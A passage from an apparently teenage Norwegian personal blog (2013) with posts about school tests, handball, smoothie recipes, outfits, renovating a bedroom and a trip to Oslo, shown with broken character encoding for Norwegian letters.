uken?\u00a0**\n\nJennifer Elizabeth\n\n  - 19.03.2013 kl.16:29 i Blogg\n  \n  \nHallo\\! V\u013aknet opp til full sn\u0159storm ute. Hadde virkelig ikke forventet dette. Tenkte at v\u013aren skulle komme snart, men tydeligvis ikke. Har foresten ikke blogget s\u013a veldig mye denne uken for har hatt for mye med skolen\\! Vi hadde 2 fremf\u0159ringer, norsk pr\u0159ve (noe jeg syntes er veldig vanskelig), engelsk innlevering, skolelag i h\u013andball og masse annet. Jeg har virkelig ikke gjort noe annet enn \u013a sitte hjemme \u013a \u0159ve\u0159ve\u0159ve. Skal bli s\u013a deilig med helg\\! F\u013ar bes\u0159k av venninnen min lene hele helga og p\u013a l\u0159rdag skal vi i bursdagen til den andre venninnen min Thea. Det blir koselig\\! Dere f\u013ar ha en god helg s\u013a snakkes vi\\!  \n  \n**Hva skal dere i helgen?**  \n**Hva syntes dere om at sn\u0159en har kommet tilbake?\u00a0**\n\n*Jennifer Elizabeth*\n\n### Fruit\n\n  \n  \n  \n  \nDet var s\u013a deilig og komme hjem etter trenng med masse frukt og smoothie. Har akkurat sett ferdig paradise hotel. Hmm, vet ikke helt hva jeg syntes om deltakerene men forh\u013apentligvis blir de bedre\\! N\u013a er det \u013a stikke rett i dusjen og etter det skal jeg rett i seng. Eller seng og seng. Jeg sove nede i kjeller stua p\u013a madrasser. Kommer nok til \u013a sove der til jeg f\u013ar den nye senga mi. Dere f\u013ar alle ha en god natt og s\u013a snakkes vi i morgen\\!\u00a0  \n  \n**Hva syntes dere om Paradise hotel 2013?\u00a0**  \n  \nJennifer Elizabeth\u00a0\n\n### Da er oppussingen i gang\n\n  \n  \n  \n  \n  \n  \n  \n  \nDa har jeg startet med \u013a male. Tror virkelig at dette kommer til \u013a bli fint. Maler gulvet mitt hvitt. Det skal bli deilig og ha et lyst rom. Ble just ferdig med \u013a male \u013a venter p\u013a at det skal t\u0159rke s\u013ann at jeg kan ta et str\u0159k til. Nedsiden til dette er at jeg ikke har noen sted \u013a sove. Senga mi er tatt fra hverandre og lagt ute i stua. Tenker kanskje \u013a sove i kjellerstua men er ikke sikker enda. F\u013ar se. Ogs\u013a lukter det maling i hele huset n\u013a\\! Gleder meg virkelig til alt er ferdig og til m\u0159blene kommer\\!\u00a0  \n  \n**Har du pusset opp rommet i det siste?**\n\nJennifer Elizabeth\u00a0\n\n### Far cry 3\n\n  \n  \n  \n  \nHei\\! Jeg sa jo tidligere at jeg skulle gj\u0159re om rommet mitt. Jeg skal male gulvet og veggene og kj\u0159pe inn noen nye m\u0159bler. Jeg har allerede begynnt med \u013a slipe ned gulvet. Det var s\u013a stress og ikke minst tungt. Glad jeg er ferdig med den delen. N\u013a skal jeg bare slappe av \u00a0og spille litt far cry 3 til jeg g\u013ar \u013a legger meg. Det er \u00a0d\u0159ds g\u0159y\\! Begynnte for noen uker siden og har ikke kommet s\u013a langt, men gleder meg til \u013a komme mere inn i spillet\\!\u00a0  \n  \n**Har dere spilt far cry 3?**  \n**Hva annet spiller dere?\u00a0**\n\nJennifer Elizabeth\n\n### Sunne pannekaker\n\n  \n  \n  \n  \nGod s\u0159ndag alle sammen\\! I g\u013ar kveld hadde jeg bes\u0159k av noen veninner og vi satte oss ut p\u013a verandaen klokken 1 med masse madrasser, puter og tepper. Vi tente te lys og satt de omkring. \u0139\u013ah, det var s\u013a koselig\\! I tillegg begynte det \u013a sn\u0159 litt. Vi var ute en god stund f\u0159r vi gikk inn \u013a la oss. Uansett s\u013a sitter jeg her n\u013a med Tone \u013a spiser frokost\\! Jeg hadde absolutt lyst til \u013a lage s\u013ann havre pannekaker s\u013a da ble det det\\! Vet ikke om de ble vellykket men de smakte da ikke s\u013a vondt.\u00a0  \n  \n**Hva har dere gjort i helga?  \nNoen som har smakt disse pannekakene?\u00a0**\n\nJennifer Elizabeth\n\n  \n  \n  \n  \n  \n  \n  \n  \n  \n  \n  \nGenser \u00a0**H\\&M \u00a0**Topp **\u00a0Gina Tricot** \u00a0Caps \u00a0**Cubus**\n\nHallo\\! I dag har det v\u0107rt en travel dag. F\u0159rst gikk jeg jo p\u013a skolen som vanelig. ogs\u013a m\u013atte jeg dra til legen, s\u013a etter det gikk meg og min mor til IKEA og s\u013anne butikker. Jeg skal fornye rommet mitt\\! \u0139\u013ahh, dette kommer til \u013a se bra ut. Jeg har kj\u0159pt noen sm\u013a interi\u0159r ting allerede. I morgen skal vi ut igjen og kj\u0159pe dobbel seng og sminkebord\\! Vi skal ogs\u013a male rommet mitt en annen farge. P\u013a bildene over ser du at det er bl\u013a/gr\u013att men skal male det til en litt mer besj farge. Gleder meg\\!\u00a0  \nH\u013aper dere f\u013ar en fin kveld videre\\!  \n  \n**Hva skal dere i kveld og resten av helga?\u00a0**\n\nJennifer Elizabeth\n\n  - 08.03.2013 kl.18:37 i Blogg\n### Dagens antrekk\n\n  \n  \n  \n  \n  \n  \nGod kveld alle sammen\\! Kom nesten just hjem etter en tung h\u013andball trening. Tok p\u013a noe musikk og l\u0159p rett i dusjen. \u013a\u013a\u013a, deilig. Uansett i dag har jeg v\u0107rt hos Tone som alltid er like koselig. Det var iskaldt og vi gjemte oss under dynen, p\u013a med ovnen og var p\u013a dataen og snakket. Ellers s\u013a gikk det jo faktisk bra p\u013a Historie pr\u0159ven\\! Skreiv hele fem sider. Det er ikke v\u0107rst. Ogs\u013a fikk jeg 5/6 p\u013a naturfags pr\u0159ven. Hmm, f\u0159ler meg litt nerd fortiden men det f\u013ar g\u013a. Forresten p\u013a bildene over har jeg absolutt ingen ting sminke p\u013a meg, s\u013a hvers\u013agod.\u00a0\n\n**Hva har du gjort i dag?**  \n  \nJennifer Elizabeth\u00a0\n\n  - 05.03.2013 kl.22:41 i Blogg\n### Dette suger\n\nHallo\\! Har brukt hele dagen min p\u013a \u013a \u0159ve til historie pr\u0159ven i morgen. Vi har om den kalde krigen, noe jeg ikke er s\u013a veldig flink til. Kan jo ingenting\\! Merker at jeg ikke har f\u0159lgt ekstra godt med i timene n\u013ar vi har hatt om dette. Jaja, vi har f\u013att vite pr\u0159ven fra f\u0159r og vi skal skirve alt vi kan om den kalde krig p\u013a en time. Har lest 40 sider om dette og klarer ikke \u013a bare velge ut det viktigste. Har virkelige problemer. Er enda ikke ferdig men m\u013a vell snart begynne igjen. Kommer sikkert til \u013a sitte opp lenge i kveld. F\u013ar kose meg med en kopp te. Forresten, fint t\u0159y? hehehe.  \n  \n  \n  \n  \n  \n\n\nH\u013aper dere har hatt en finere dag enn det jeg har hatt\\!  \n  \n**Har dere noen pr\u0159ver denne uka?**  \n  \nJennifer Elizabeth\u00a0\n\n  - 04.03.2013 kl.21:15 i Blogg\n  - 17 kommentarer\n  - Permalenke\n### Anbefaling (foundation)\n\n  \n  \n  \nHallo alle sammen\\! Jeg tenkte og skrive om et produkt eller en ting som jeg liker veldig godt en dag i uken. Jeg tror det blir hver s\u0159ndag for da har jeg som regel lite \u013a blogge om. Jeg sitter som regel bare hjemme uten sminke og daffer i deilig t\u0159y. Jaja, la oss starte\\! I dag skal jeg fortelle litt om denne foundationen ( face finity all day flawless ) fra max factor. Skal si litt om hvorfor den er s\u013a bra og hva nedsidene er.\u00a0  \n  \nJeg kj\u0159pte denne faktisk for en god stund siden. Tror det var i september/oktober i fjor eller no. Jeg hadde aldri brukt liquid foundation f\u0159r, bare BB cream og bare minerals pudderet. Jeg s\u013a den p\u013a reklame og selvf\u0159lgelig var det en dame som hadde den perfekte huden og de forklarte at denne var super bra. Jeg tenkte jeg skulle pr\u0159ve den og kj\u0159pte den. I begynnelsen syntes jeg den var d\u0159ds bra, men etter hvert likte jeg den bare ikke og sluttet \u013a bruke den. Kj\u0159pte smash box sin foundation i stedenfor og syntes den var super. Etter som jeg brukte den p\u013a slutten av dagen s\u013a du at den begynnte \u013a '' flake '' av hvis dere skj\u0159nner hva jeg mener. Det s\u013a ikke fint ut\\! N\u013a har jeg begynnt \u013a bruke max faktor sin igjen og elsker den.\n\nDet som er positivt med denne f\u0159rst og fremst er at det er primer, concealer og foundation i en. Jeg bruker ikke primer eller concealer som jeg m\u013atte bruke p\u013a smash box sin. Den dekker s\u013a utrolig bra. Jeg har selv mange arr og veldig r\u0159d i huden og det dekker den over\\! Men det beste av alt er at den er s\u013a tynn p\u013a huden\\! Det kjenner ikke ut som jeg har noe hud sminke p\u013a. Den er ogs\u013a lett og p\u013af\u0159re som er positivt.\n\nNoe av det jeg ikke liker med den er at de har den ikke i s\u013a mange farger. Jeg er veldig lys i huden og passer f\u013a foundationer. Jeg har den i den lyseste fargen og er for m\u0159rk. Jeg kommer til \u013a bruke den mer til sommeren for da passer jeg den sikkert perfekt. For \u013a ikke f\u013a s\u013a ekstremt skillle tar jeg p\u013a halsen og litt sol pudder over. Dette funker greit.\n\n  \n  \nN\u013a ble det litt mye tekst men her er et bilde av den p\u013a.  \n  \n**Har dere pr\u0159vd den?**  \n**Hva syntes dere om den?**\n\nJennifer Elizabeth\n\n\u00a0\n\n  \n  \n**Hva syntes dere?  \nHva skal dere?**\n\nJennifer Elizabeth\u00a0\u00a0\n\n### Smoothie oppskrift\\!\n\nHallo\\! I det siste drikker jeg smoothier hele tiden. Helst etter trening. Har pr\u0159vd ut en del forskjellige smaker men kommer alltid tilbake til denne\\! Jeg vet at alle kan lage smoothie men tenkte bare \u013a vise dere denne. S\u013a da begynner jeg\\!\u00a0\n\n\n\nDet du trenger\\! ( en porsjon )  \n  \n\u00a01 banan  \n\u00a01 kopp jorb\u0107r  \n\u00a0eple juice  \n\u00a0litt yoghurt\u00a0  \n  \n\n\n  \nDet f\u0159rste du gj\u0159r er \u013a deler opp bananen og tar det oppi blenderen. S\u013a hiver du bare oppi jorb\u0107rene. Du kan ta mere jorb\u0107r enn banan og motsatt men jeg liker n\u013ar det er litt mye banan. Hehe da blir det s\u013a s\u0159tt\\! Etter det heller du bare oppi s\u013a mye juice du vil. Det sp\u0159rs hvor rendene du vil ha den. Ogs\u013a tar du oppi litt youghurt.\u00a0  \n  \nS\u013a mixer du selvf\u0159lgelig alt sammen\\! Veldig enkel men kjempe god\\! Drikker en faktisk akkurat n\u013a. H\u013aper dere vil like den hvis dere pr\u0159ver den ut eller har pr\u0159vd den ut fra f\u0159r. (Noe jeg er nesten helt sikker p\u013a.)\n\n**Skal du pr\u0159ve \u013a lage den?**  \n**Har du smakt og hvilken smoothie er din farvoritt?**\n\nJennifer Elizabeth\u00a0\n\n  - 28.02.2013 kl.20:40 i Blogg\n### Sol\n\n  \n  \n  \n  \n\n\nGod dag, alle sammen\\! N\u013a har jeg just spist meg stapp mett p\u013a bestemors lapskaus. Det er s\u013a godt\\! F\u013ar h\u013ape jeg ikke er altfor mett p\u013a h\u013anballtreninga som begynner 6. Vi f\u013ar se. Uansett s\u013a har v\u0107ret v\u0107rt helt fantastisk i det siste. Skikkelig v\u013ar stemning\\! Kjenner at jeg begynner \u013a glede meg til v\u013aren og sommeren kommer\\! \u0139 g\u013a med shorts, ikke ha p\u013a deg jakke n\u013ar man g\u013ar ut. Det skal bli deilig. Da er det vell bare \u013a glede seg da.  \n  \n**Gleder du deg til v\u013aren/sommeren kommer?**  \n  \nJennifer Elizabeth  \n  \n  \n\n  - 28.02.2013 kl.16:48 i Blogg\n### Smoothie og rundstykke med banan\n\n  \n  \n  \n  \nHei hei\\! Kom akkurat inn d\u0159ren fra trening. Det er s\u013a deilig \u013a trene\\! Lagde just en kjempe god smoothie og fikk kj\u0159pt meg et rundstykke og en banan p\u013a butikken f\u0159r jeg tok bussen. Tror akkurat denne smoothien er en av de beste jeg har smakt\\! Hvis det er noen som vil ha oppskrift til den er det bare \u013a si ifra\\! Jaja, n\u013a skal g\u013a \u013a ta meg en varm dusj. Det skal bli deilig\\! Fryser s\u013ann..\n\n**Vil dere vite oppskriften til smoothien?\u00a0**  \n**S\u013a det godt ut?**\n\nJennifer Elizabeth\n\n  \n\n  \n  \n\n\n*Fotograf // Tone koland*  \n  \nSkjorte \u00a0**Gina tricot** \u00a0Bluse og Solbriller \u00a0**H\\&M** \u00a0Bukse \u00a0**Cubus** \u00a0Sko \u00a0**Mani** \u00a0K\u013ape \u00a0**Vero** **moda  \n**\n\n**Hvilket bildet likte du best?  \nLikte du antrekket?\u00a0**\n\nJennifer Elizabeth\n\n### Dagens outift kommer\\!\n\nHallo\\! Hadde akkurat tenkt til \u013a lage et innlegg om dagens outfit, men har ikke tid akkurat n\u013a. Jeg skal trene p\u013a Shapes\\! Vi har s\u013ann egentrening hjemme isteden for gym s\u013a velger heller \u013a trene i kveld enn \u013a trene i morgen tidlig. S\u013a kan jeg jo sove to timer lengre en det jeg pleier\\! Flott. Jaja, outfit bildene kommer i kveld m\u013a bare f\u013a redigert de litt. Men legger ut et bildet som dere kan se imens.\n\n  \n  \n**Vil dere se resten av outfitet?**  \n**Hva syntes dere om bilde?\u00a0**  \n  \nJennifer Elizabeth  \n  \n\n  - 26.02.2013 kl.20:27 i Blogg\n### Sunny day\n\n  \n  \n  \n  \n  \n  \n  \n  \n  \n  \nHallo\\! \u0139\u013a\u013ahh, s\u013a deilig det var med sol. Det skal bli godt n\u013ar v\u013aren kommer. Jeg er virkelig blitt lei av sn\u0159en og kulda. Noen flere som er enige? Hehe, n\u013ar jeg skulle ta disse bildene bl\u013aste det veldig mye og da gikk jo h\u013aret i alle veier. Noen av bildene ble helt forferdelige\\! Det var litt vittig.\u00a0  \nI kveld skal jeg p\u013a h\u013andball trening og skal bli godt \u013a f\u013a trent igjen. Ogs\u013a er det finale i unkarskvinnen vs unkaren i kveld\\! \u0139\u013a\u013a, gleder meg\\! H\u013aper virkelig Chris og Sara vinner\\! Dette blir spenende.\u00a0\n\n**Gleder du deg til v\u013aren/sommeren?**  \n**Ser du p\u013a bachelor pad?\u00a0**\n\nJennifer Elizabeth\n\n  - 25.02.2013 kl.17:05 i Blogg\n### Happy Birthday, Daddy\\!\n\n*// kommer til \u013a skrive dette innlegge p\u013a engelsk bare fordi min far er fra Amerika og bor der.*\n\nHappy Birthday daddy\\! I really hope you are enjoying your day in San Fransisco with Grandpa. Really wish i was there with you\\! But hopefully i will come this summer and spend some more time with you\\! I miss you alot and hope to see you soon\\! And hope you dont mind these pictures.\n\n\n\n  \n  \n  \n  \nJennifer Elizabeth  \n  \n  \n\n### Kosekveld\n\n  \n\n\n\n\n  \n  \nHallo\\! I dag er jo siste kveld f\u0159r skolen begynner. Jeg og noen flere jenter bestemte oss for \u013a ha en liten avsluttning p\u013a ferien. Det var utrolig koselig. Det ble masse av snakking, latter, spill, snacks og music. Ogs\u013a spilte vi Twister\\! Husker n\u013ar jeg var mindre s\u013a spilte jeg dette hele tiden\\! Syntes det var s\u013a g\u0159y\\! Ble kanskje litt vanskeligere n\u013ar vi har blitt st\u0159rre siden da er det ikke s\u013a mye plass \u013a bevege seg p\u013a, men g\u0159y var det\\! \u00a0Men n\u013a gruer jeg meg til \u013a starte p\u013a skolen igjen. Det har v\u0107rt s\u013a deilig og kunne sove lenge og bare slappe av uten \u013a tenke p\u013a noen pr\u0159ver og lekser. Jaja, n\u013a er det ikke lenge til P\u013aske ferien. Det skal bli deilig\\!\n\n**Hva gjorde du i kveld?**  \n**Hva har du gjort i vinterferien?**\n\nJennifer Elizabeth\u00a0\n\n  - 24.02.2013 kl.21:25 i Blogg\n  - 7 kommentarer\n**Klokke** \u00a0Nille \u00a0**Solbriller** \u00a0Gina Tricot \u00a0**Boks \u00a0**Nille \u00a0**Sponge** \u00a0H\\&M \u00a0\n\nHallo\\! Hadde egentlig tenk til \u013a lage video, men \u013arket rett og slett ikke. \u00a0Menmen. Fikk faktisk ikke kj\u0159pt s\u013a masse. Hadde forventet mye mer. Fikk kj\u0159pt meg 4 klesplagg. Hmmm.. Trenger egentlig mere t\u0159y. F\u013ar vell se om jeg kan finne meg noe i kristiansand da engang. Men uansett s\u013a ble jeg skikkelig skuffet over Zara i oslo n\u013a. Det var nesten ingen ting som jeg m\u013atte ha. Jeg som hadde gledet meg.\u00a0  \nHehe, dere ser sikkert at det har kommet en sprekk i klokka. \u00a0\u0139rh.. Hadde Den i veska hele torsdagen og jeg har tydeligvis ikke v\u0107rt forsiktig nok. Men det f\u013ar g\u013a\\!  \n  \n**Noe du likte?\u00a0**\n\n\n**Takk for en herlig h**\n\n**Jakke** \u00a0Bikbok \u00a0 **Skjerf** \u00a0 Lindex \u00a0 **Genser** \u00a0Cubus \u00a0 \u00a0**Shorts** \u00a0Bikbok \u00a0**Solbriller** \u00a0 Gina tricot \u00a0 \u00a0**Veske** \u00a0 Gina tricot\n\nHva syntes dere?  \nLegger forresten ut videoen fra oslo ikveld\\!\n\nJennifer Elizabeth\u00a0\n\n### Hjemme\n\nGod dag alle sammen\\! Jeg har kommet hjem fra Oslo\\! Toget kom til Kristiansand halv 4, s\u013a var det rett hjem \u013a legge seg. Det v\u0107rste var at n\u013ar jeg kom hjem skulle inn p\u013a rommet og der hadde jeg glemt \u013a lukke vinduet f\u0159r jeg gikk. Det var iskaldt\\! Fr\u0159ys hele natten. Kommer til \u013a skrive litt mere om hva vi gjorde i oslo. Vi tok nesten ingen bilder men vi fikk filmet endel s\u013a kommer nok til \u013a lage en video om det\\!\u00a0  \n  \n\n\n  \n  \nJeg v\u013aknet for en halv time siden og sitter n\u013a \u013a spiser deilig frokost. \u0139hhh\\! Noen andre som syntes dette er godt? Elsker det.  \n  \n**Og forresten vil dere ha innkj\u0159ps video fra Oslo? Eller bare et vanelig innlegg?**\n\nJennifer Elizabeth\n\n### What to wear?\n\nHallo\\! I morgen skal jeg tl OSLO\\! Skal dit med 3 gode veninner. \u0139rh, gleder meg. Det blir shopping, masse god mat og kos. Skal bare v\u0107re der i 2 dager og skal pr\u0159ve \u013a f\u013a blogget mens jeg er der\\!\u00a0  \nAkkurat n\u013a sitter jeg her og skal til \u013a pakke. Har virkelig ikke peiling p\u013a hva jeg skal ta med av t\u0159y. Noen flere som har problemer med \u013a pakke? Jeg pleier egentlig bare \u013a ta med masse t\u0159y ogs\u013a velger jeg hva jeg skal g\u013a med der. Men denne gangen skal jeg v\u0107re litt mer praktisk og ikke ha med en stor bag, som jeg alltid har. Derfor har jeg lakt frem 3 anntrekk som jeg kan velge mellom. Jeg skal bare ha to av de med. S\u013a hjelp meg velge\\!\u00a0  \n**1.\u00a0**  \n\n\n**2.**  \n  \n\n\n**3.**\n\n  \n  \n  \nHmm... Jeg vet egentlig ikke.\u00a0  \n  \n**Hvilket skal jeg ta med meg?**  \n**Hvilket antrekk syntes du var finest?\u00a0**\n\nJennifer Elizabeth\n\n### Innkj\u0159ps video\\!\n\nH\u013aper dere liker den\\!  \n  \n**Likte du noe av innk\u0159pene?**  \n**Hva likte du best?**\n\nJennifer Elizabeth\u00a0\n\n### Lemster\n\nGod morgen\\! Etter en lang trenings \u0159kt p\u013a shapes er jeg blitt veldig lemster. Spessielt i rompen og l\u013arene. Gj\u0159r vondt \u013a g\u013a. Vi trente forresten bein og mage. Det var en spessiell \u0159velse for magen og jeg tror det er det tungeste og v\u0107rste \u0159velsen jeg har gjort\\! Det var helt sykt. Men det f\u0159ltes s\u013a sykt bra n\u013ar vi ble ferdige. Uff.. Men ny trening i dag og tror kanskje vi skal trene armer og rygg, men det er jeg ikke helt sikker p\u013a. Dette blir g\u0159y\\!\n\n  \n  \n\n\n  \n  \nForrsten s\u013a holder jeg p\u013a \u013a redigere videoen og tror jeg legger den ut ikveld\\! Kos dere videre i dag.\n\n**Liker du \u013a trene?**  \n**Trener du ofte?\u00a0**\n\nJennifer Elizabeth\n\n  - 18.02.2013 kl.12:42 i Blogg\n### Trening\n\nHallo\\! Da stiker jeg p\u013a Shapes for \u013a trene. Vi skal trene mage og bein i dag tror jeg. Det skal bli godt \u013a trene litt. Men n\u013a m\u013a jeg bare l\u0159pe siden jeg m\u013a rekke bussen\\!\n\n\n\nLagde ogs\u013a innkj\u0159psvideo istad. Tror den blir lagt ut enten i morgen eller p\u013a tirsdag, m\u013a redigeres osv.\u00a0  \n  \n**Vil dere se innkj\u0159ps videoen?**\n\nJennifer Elizabeth\n\n### Sporsmalsrunden\n\nLitt sent men. Hehe, kvaliteten var ikke det beste, men fokuserte feil, men det f\u013ar g\u013a\\! Sett p\u013a 720 for bedre kvalitet. H\u013aper du liker den\\!\n\n  \n**Hva syntes du om videoen?**  \n**Noen flere sp\u0159rsm\u013al du lurer p\u013a?\u00a0**\n\nJennifer Elizabeth\n\n### Marthe Borge og Kristina andersen\n\nHallo\\! I dag har jeg v\u0107rt i byen og v\u0107rt med p\u013a **Kritina** og **Marthe** sin ''butikk''. Det var s\u013a utrolig masse fint, men alt t\u0159yet gikk jo med en gang. Vi var en av de f\u0159rste inne i butikken og fikk en to ting med meg hjem. Det var utrolig g\u0159y \u013a v\u0107re med p\u013a og de var kjempe koselige\\! Viser dere hva jeg kj\u0159pte senere. Kanskje innkj\u0159ps video.\n\n  \n  \n\n\nHehe, b\u013ade meg og Tone fikk v\u0107re med p\u013a bloggen til Marthe\\!\n\n  \n  \n  \n  \n  \n  \nEtter vi var inne p\u013a butikken gikk meg og Lene p\u013a Waynes Coffee. Vi begge kj\u0159pte oss Caramell frappe. Super godt\\! Ellers s\u013a gikk vi bare rundt \u013a kikket p\u013a noen f\u013a ting. Fikk kj\u0159pt meg noen skatter i tillegg. H\u013aper alle dere har hatt en super fin dag og kommer til \u013a f\u013a en fin kveld\\! Kos dere.\n\n**Var dere i butikken?**  \n**Hva har dere gjort i dag?**\n\nJennifer Elizabeth\u00a0\n\n### Will you be my valentine next year?\n\n  \n  \n\n\n  \n  \n  \n  \n**Hva syntes du om bildene?**\n\nHappy valentines day\\!\u00a0  \nH\u013aper alle har kost seg i dag. Jeg sitter hjemme og \u0159ver til naturfagspr\u0159ven som vi har i morgen.\n\nGjort noe spessielt p\u013a valentines dagen? Fortell\\!\n\nJennifer Elizabeth\u00a0\n\n\n\nHallo\\! Sitter og holder p\u013a med norsk innleveringen/fremf\u0159ringen. Ikke at jeg har gjort s\u013a mye. Vi skal presentere en tekst med temaet makt og motmakt. Jeg valgte novellen Blodspor. Grunnen var fordi den var ganske kort og vi har lest den flere ganger f\u0159r. I morgen s\u013a m\u013a vi s\u0159ke p\u013a hvilken skole/linje vi skal g\u013a p\u013a til neste \u013ar. Er s\u013a usikker, men tror det blir studiespesialisering p\u013a KKG. Men har ogs\u013a lyst \u013a g\u013a p\u013a media og kommunikasjon. Tar det p\u013a andre eller tredje plass eller no. Vi f\u013ar se. Men n\u013a m\u013a jeg bare begynne \u013a jobbe igjen. H\u013aper alle dere f\u013ar en fin kveld\\! Og forresten likte dere det jeg gikk med i dag? Haha, \u013arket virkelig ikke \u013a kle meg ordentlig. Det er s\u013a deilig og g\u013a s\u013ann p\u013a skolen.\u00a0\n\n**Hvilken linje skal du g\u013a p\u013a til neste \u013ar?**  \n**Syntes du det er deilig og g\u013a med ''chille'' t\u0159y p\u013a skolen?**\n\nJennifer Elizabeth\n\n\u00a0\n\n### Pretty little liars\n\nHallo\\! Er det mulig og tr\u0159tt jeg har v\u0107rt i dag. I g\u013arkveld la jeg meg 10 siden jeg skulle f\u013a en god natt s\u0159vn og ville v\u0107re forbredt til i dag. Jeg l\u013a der i flere timer og ventet p\u013a at alt slukke. Men det gjorde det ikke. Var oppe til halv 2. Ikke at det er s\u013a veldig seint, men som sakt tidligere s\u013a har jeg jo v\u0107rt syk og ikke helt frisk enda og da er det bra med nok s\u0159vn. Det v\u0107rste av alt var at jeg v\u013aknet klokken 5 p\u013a morgenen i dag og var kvalm. Det gikk virkelig ikke ann \u013a sovne. L\u013a \u013a snudde p\u013a meg for \u013a finne den perfekte stillinga, men det gikk virkelig ikke.\u00a0\n\nEllers s\u013a har jeg veldig mye og gj\u0159re denne uka p\u013a skolen. Vi har norsk innlevering og fremf\u0159ring, RLE innlevering, Naturfagspr\u0159ve, tester i gymmen og en liten matte pr\u0159ve. Alt for mye sp\u0159r du meg. Fikk gjort matte leksa i dag sammen med Tone, men enda ikke ferdig. Tror vi har s\u013ann 16 oppgaver \u013a gj\u0159re eller no. Jaja, bare noen f\u013a dager til vinterferien n\u013a. Det skal bli deilig etter at jeg er s\u013a sykt skole lei. \u00a0\u00a0\n\n\n\n  \n  \nFikk virkelig ikke han her til \u013a sitte stille. S\u013a disse ble de beste bildene. N\u013a skal jeg sitte \u013a kose meg mens jeg ser p\u013a Pretty little liars\\! Begynnte \u013a se det i g\u013ar p\u013a netflix og jeg er helt hekta. Kommet til episode 18 sesong 1. D\u0159ds g\u0159y\\!  \n  \n**Noen flere som ser p\u013a Pretty little liars?**  \n**Er du skole lei?**\n\nJennifer Elizabeth\u00a0\n\n### Sick\n\nHallo\\! Grunnen til at jeg ikke har blogget er fordi jeg har v\u0107rt syk. Det begynnte p\u013a fredagen med en sterk forskj\u0159lelse og p\u013a s\u0159ndagen sp\u0159y jeg og hadde h\u0159y feber. Har ikke akkurat \u013arket \u013a stelle meg eller ta bilder for bloggen. H\u013aper dere forst\u013ar\\! Starter og blogge igjen i morgen\\!  \n  \nH\u013aper dere har hatt en helg\\!\n\nJennifer Elizabeth\u00a0\n\n*Hvem er jeg? Hvem vil jeg v\u0107re? Hva er jeg flink til? Hvem vil jeg tilbringe tid med? Hva vil jeg gj\u0159re fremover?\u00a0Hvordan vil fremtiden min v\u0107re? Hvilken skole\u00a0vil jeg g\u013a p\u013a? Hva vil jeg bli n\u013ar jeg blir stor? Hva syntes jeg egentlig om meg selv?\u00a0\u00a0Hva syntes de egentlig om meg? Burde jeg endre meg? Burde jeg v\u0107re mer som hun? Hvorfor kan jeg ikke bli som hun? Skal jeg si ifra? Hvorfor fortsetter de? Hva gj\u0159r jeg feil? Hva burde jeg satse p\u013a? Hvorfor tar jeg ikke fler sjangser? Hvorfor t\u0159rr jeg ikke det? N\u013ar vil jeg finne ut hvem jeg egentlig er? Hvorfor setter jeg ikke mer pris p\u013a hva jeg har? Hvem kan jeg stole p\u013a? Hem kan jeg renge med? Hvordan har hun det egentlig? Hvordan g\u013ar det med han? Savner han meg? Tenker han p\u013a meg? Hvorfor funket det ikke? Hvorfor snakker vi ikke? Hvorfor er han s\u013a dum? Hva skjedde med oss? Hvorfor er hun s\u013ann? Hvorfor forandret han seg s\u013a mye? Er jeg dum? Hvorfor klarer jeg ikke bedre? Hvordan kan jeg gj\u0159re det bedre? Hvorfor utnytter jeg ikke tiden bedre? Hva m\u013a jeg gj\u0159re for \u013a passe inn? Hvor mye m\u013a jeg gi av meg selv? Hvem inspirerer meg? Hvem ser jeg opp til? Er jeg kravstor? Har jeg gjort meg fortjent til \u013a f\u013a hva jeg har? Er jeg takknemmelig? Er jeg snill? Er jeg \u0107rlig? Lar jeg andres mening om meg gli inn p\u013a meg? Klager jeg mye? Er jeg egoistisk? Burde jeg v\u0107re mer positiv? Er jeg bra nok?\u00a0*\n\n  \n  \n\n**Noen som kjenner seg igjen?**\n\n  - 07.02.2013 kl.20:51 i Blogg\n\n\n  \n  \nHallo\\! Spilte just inn sp\u0159rsm\u013alsrunden. H\u013aper den blir bra\\! Men hvertfall, i dag \u00a0har det v\u0107rt helt greit. \u00a0Jeg har blitt helt hekta av to forskjellige spill p\u013a Iphonen. Det ene er ikke s\u013a veldig g\u0159y da, men man m\u013a bare fortsette \u013a bli ferdig. Det er sikkert mange som har spilt det men det er ihvertfall Tamago\\! Haha, man skal bare trykke p\u013a ett egg 1 million ganger s\u013a skal det komme opp en lapp. Det var s\u013a mange som spilte det p\u013a skolen i dag. S\u013a bare rundt meg i klasse rommet. Alle hadde h\u013anden bak en bok eller no slikt og trykket. \u00a0Ellers s\u013a skal jeg p\u013a h\u013andball kamp i dag i s\u0159gne. Tror ikke jeg skal spille s\u013a mye p\u013agrunn av hode, men f\u013ar se hvordan jeg f\u0159ler meg.  \n  \n**Flere som holder p\u013a med den appen?**  \n**Du gjort i dag?\u00a0**\n\nJennifer Elizabeth\n\n### Ny header\\!\n\nGod kveld\\! S\u013a gjennom komentarene til innlegget der dere sa hvilken header dere likte best. De fleste sa den f\u0159rste og det var den jeg byttet til\\! Tusen takk til alle som kommenterte\\! Har nesten ikke f\u013att blogget noe i dag. Men har v\u0107rt ganske opptatt. Kan heller fortelle litt mere i morgen.\u00a0  \n  \n  \n  \nDette var den gamle headeren. Syntes selv den nye ble mye finere\\!  \nHa en god natt alle sammen\\!\u00a0  \n  \n**Hva syntes dere?\u00a0**  \n  \n\u00a0- Jennifer Elizabeth\n\n  \n  \n  \n  \n  \n  \n**Vest** \u00a0Ginatricot \u00a0 **Genser** \u00a0Bikbok \u00a0 **Bukse** \u00a0Carlings \u00a0 **Smykke** \u00a0Bikbok \u00a0 **Sko** \u00a0Euro Sko\n\n**Syntes om antrekket?**  \n**Burde jeg ha flere outfits?**\n\n  \n\\- Jennifer Elizabeth\u00a0\n\n### Deilig\n\nHallo. Kom just inn d\u0159ren fra h\u013andball treningen og lukten av nystekte boller svevet omkring. Vi har hatt bes\u0159k av mi bestemor. Hun kom \u013a lagde middag til oss. Kjempe koselig. F\u0159r ho gikk lagde hun tydeligvis boller som vi kunne ha til kveldsmat. Hun tok ogs\u013a med hjemmer\u0159rte jorb\u0107rsyltet\u0159y. Det er noe av det beste\\!\u00a0\n\n  \n  \n\n\n  \n\u00a0  \nBollene til bestemor er noen av de beste. Men hvem syntes vell ikke at besteforeldre er flinke til \u013a bake? Som sakt tidligere s\u013a var jeg p\u013a h\u013andball trening just n\u013a. Vi skal spille kamp til helga mot S\u0159gne. Forh\u013apentligvis vinner vi. Vet ikke om jeg skal spille s\u013a mye p\u013agrunn av hode mitt, men f\u013ar se. N\u013a er det bare \u013a hoppe rett inn i dusjen og 